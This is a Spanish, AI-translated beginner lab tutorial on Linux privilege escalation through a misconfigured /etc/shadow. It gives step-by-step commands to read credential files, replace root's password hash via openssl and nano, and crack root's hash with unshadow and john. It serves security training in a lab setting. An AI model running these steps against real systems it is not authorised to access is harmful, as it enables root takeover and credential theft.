Escalar Privilegios Usando el Archivo /etc/shadow en Linux

Beginner

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

Los sistemas Linux dependen de los archivos /etc/passwd y /etc/shadow para la autenticación de usuarios y el control de acceso. Si los administradores del sistema configuran incorrectamente los permisos o el contenido de estos archivos, puede crear oportunidades para ataques de escalada de privilegios. En este laboratorio (lab), aprenderá cómo aprovechar el archivo /etc/shadow para obtener privilegios de root en un sistema Linux. Este escenario asume que ya ha obtenido acceso inicial a una shell (terminal) con privilegios bajos como usuario normal.


Skills Graph

Comprender el archivo /etc/shadow

En este paso, aprenderá sobre la estructura y el propósito del archivo /etc/shadow.

El archivo /etc/shadow almacena contraseñas cifradas y información de configuración relacionada con las contraseñas para cada cuenta de usuario. Cada línea en el archivo representa a un usuario y contiene 9 campos separados por dos puntos:

  1. Nombre de usuario
  2. Hash de contraseña cifrada
  3. El número de días desde la época (1970-01-01) en que se cambió la contraseña por última vez
  4. El número mínimo de días requeridos entre cambios de contraseña
  5. El número máximo de días que la contraseña es válida
  6. El número de días antes de la expiración de la contraseña para avisar al usuario
  7. El número de días después de la expiración de la contraseña antes de que la cuenta se deshabilite
  8. El número de días desde la época (1970-01-01) en que la cuenta se deshabilitará
  9. Un campo reservado para uso futuro

Abra una terminal y navegue hasta el directorio /home/labex/project.

cd /home/labex/project

Veamos la entrada del usuario labex en el archivo /etc/shadow:

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

Tenga en cuenta que usamos sudo para leer el archivo /etc/shadow. Esto se debe a que el archivo solo es legible por el usuario root.

Verifique el contenido del archivo labex_shadow.txt:

cat labex_shadow.txt

Ejemplo de salida:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

Esta línea indica:

  • Nombre de usuario: labex
  • Hash de contraseña cifrada: $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • Último cambio de contraseña: 19818 días desde la época (1970-01-01)
  • Edad mínima de la contraseña: 0 días (sin restricción)
  • Edad máxima de la contraseña: 99999 días (sin expiración)
  • Período de advertencia de contraseña: 7 días antes de la expiración
  • La cuenta nunca expira

Por defecto, solo el usuario root puede leer y modificar el archivo /etc/shadow. Sin embargo, permisos mal configurados a veces pueden brindar oportunidades para la escalada de privilegios.

Escalar privilegios con acceso de escritura a /etc/shadow

En este paso, aprenderá cómo escalar privilegios modificando la contraseña del usuario root en el archivo /etc/shadow si tiene acceso de escritura a él.

  1. Primero, abra una terminal y navegue hasta el directorio /home/labex/project:

    cd /home/labex/project

    Encontrará un script llamado env_setup_1.sh en el directorio. Ejecute este script para configurar el entorno:

    ./env_setup_1.sh

    Esto configurará el entorno y lo cambiará al usuario user001, simulando un acceso inicial a una shell (terminal) con privilegios bajos.

    Navegue hasta el directorio de inicio del usuario user001:

    cd ~
  2. A continuación, verifique los permisos del archivo /etc/shadow:

    ls -alh /etc/shadow

    Ejemplo de salida:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    Debería ver que el usuario user001 tiene acceso de escritura al archivo /etc/shadow debido a una mal configuración.

  3. Ahora, puede editar el archivo /etc/shadow y reemplazar el hash de la contraseña del usuario root con uno nuevo.

    Primero, vea el hash de la contraseña actual del usuario root:

    cat /etc/shadow | grep root

    Ejemplo de salida:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Para establecer una nueva contraseña (por ejemplo, pass123), genere un nuevo hash de contraseña utilizando la utilidad openssl:

    openssl passwd -1 -salt ignite pass123

    Ejemplo de salida:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. Abra el archivo /etc/shadow en un editor de texto y reemplace el hash de la contraseña del usuario root con el nuevo.

    nano /etc/shadow

    Encuentre el hash de la contraseña del usuario root:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Reemplace el hash de la contraseña con el nuevo:

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    Guarde los cambios y salga del editor.

  5. Finalmente, use el comando su root para cambiar al usuario root, ingresando la nueva contraseña pass123 cuando se le solicite.

    su root

Ahora debería tener privilegios de root en el sistema.

Escalar privilegios con acceso de lectura a /etc/shadow

En este paso, aprenderá cómo escalar privilegios descifrando el hash de la contraseña del usuario root si solo tiene acceso de lectura al archivo /etc/shadow.

Después del último paso, debería seguir siendo el usuario root. Puede abrir una nueva terminal o usar el comando exit para cerrar la sesión del usuario actual hasta que llegue al usuario labex.

  1. Cuando esté como usuario labex, navegue hasta el directorio /home/labex/project:

    cd /home/labex/project

    Ejecute el script env_setup_2.sh para configurar el entorno:

    ./env_setup_2.sh

    Esto configurará un nuevo entorno donde el usuario user001 tiene acceso de lectura al archivo /etc/shadow.

    Navegue hasta el directorio de inicio del usuario user001:

    cd ~
  2. Verifique los permisos del archivo /etc/shadow:

    ls -alh /etc/shadow

    Ejemplo de salida:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    Debería ver que el usuario user001 tiene acceso de lectura al archivo /etc/shadow debido a una mal configuración.

  3. A continuación, podemos usar la herramienta john para descifrar el hash de la contraseña del usuario root. Antes de usar john, debe combinar el contenido de los archivos /etc/passwd y /etc/shadow usando el comando unshadow:

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. Ahora, ejecute john en el archivo shadow_crack.txt para descifrar el hash de la contraseña del usuario root y guarde las contraseñas descifradas en un archivo:

    john --users=root shadow_crack.txt > cracked_passwords.txt

    Verifique el contenido del archivo cracked_passwords.txt para ver la contraseña descifrada:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. Finalmente, use el comando su root para cambiar al usuario root, ingresando la contraseña descifrada study cuando se le solicite:

    su root

Ahora debería tener privilegios de root en el sistema.

Resumen

En este laboratorio (lab), aprendió sobre la estructura y el propósito del archivo /etc/shadow, así como dos métodos para escalar privilegios aprovechando este archivo: modificar el hash de la contraseña del usuario root con acceso de escritura o descifrar el hash de la contraseña del usuario root con acceso de lectura. Estas técnicas demuestran la importancia de configurar adecuadamente los permisos de los archivos y proteger los archivos sensibles del sistema en un entorno Linux.